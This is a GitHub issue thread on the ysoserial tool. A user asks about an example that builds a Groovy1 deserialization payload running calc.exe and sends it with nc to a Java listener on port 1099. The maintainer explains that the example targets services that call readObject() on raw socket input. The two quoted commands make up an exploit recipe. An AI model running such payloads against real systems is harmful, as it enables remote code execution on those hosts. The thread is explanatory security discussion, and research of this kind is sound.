Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

groovypayload.bin example question #175

Closed
ivantsyba opened this issue Dec 15, 2021 · 1 comment
Closed

groovypayload.bin example question #175

ivantsyba opened this issue Dec 15, 2021 · 1 comment

Comments

@ivantsyba
Copy link

In this example:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

Do you need to convince exploited jvm to load Groovy1 class from 10.10.10.10:1099 via RMI to make all this work?

@frohoff
Copy link
Owner

frohoff commented Mar 5, 2022

No this is an example of exploiting a simple TCP listener that does just a readObject() from an ObjectInputStream that wraps the TCP steam (terrible idea).

Example here https://stackoverflow.com/questions/7022063/java-listening-to-a-socket-with-objectinputstream.

@frohoff frohoff closed this as completed Mar 5, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants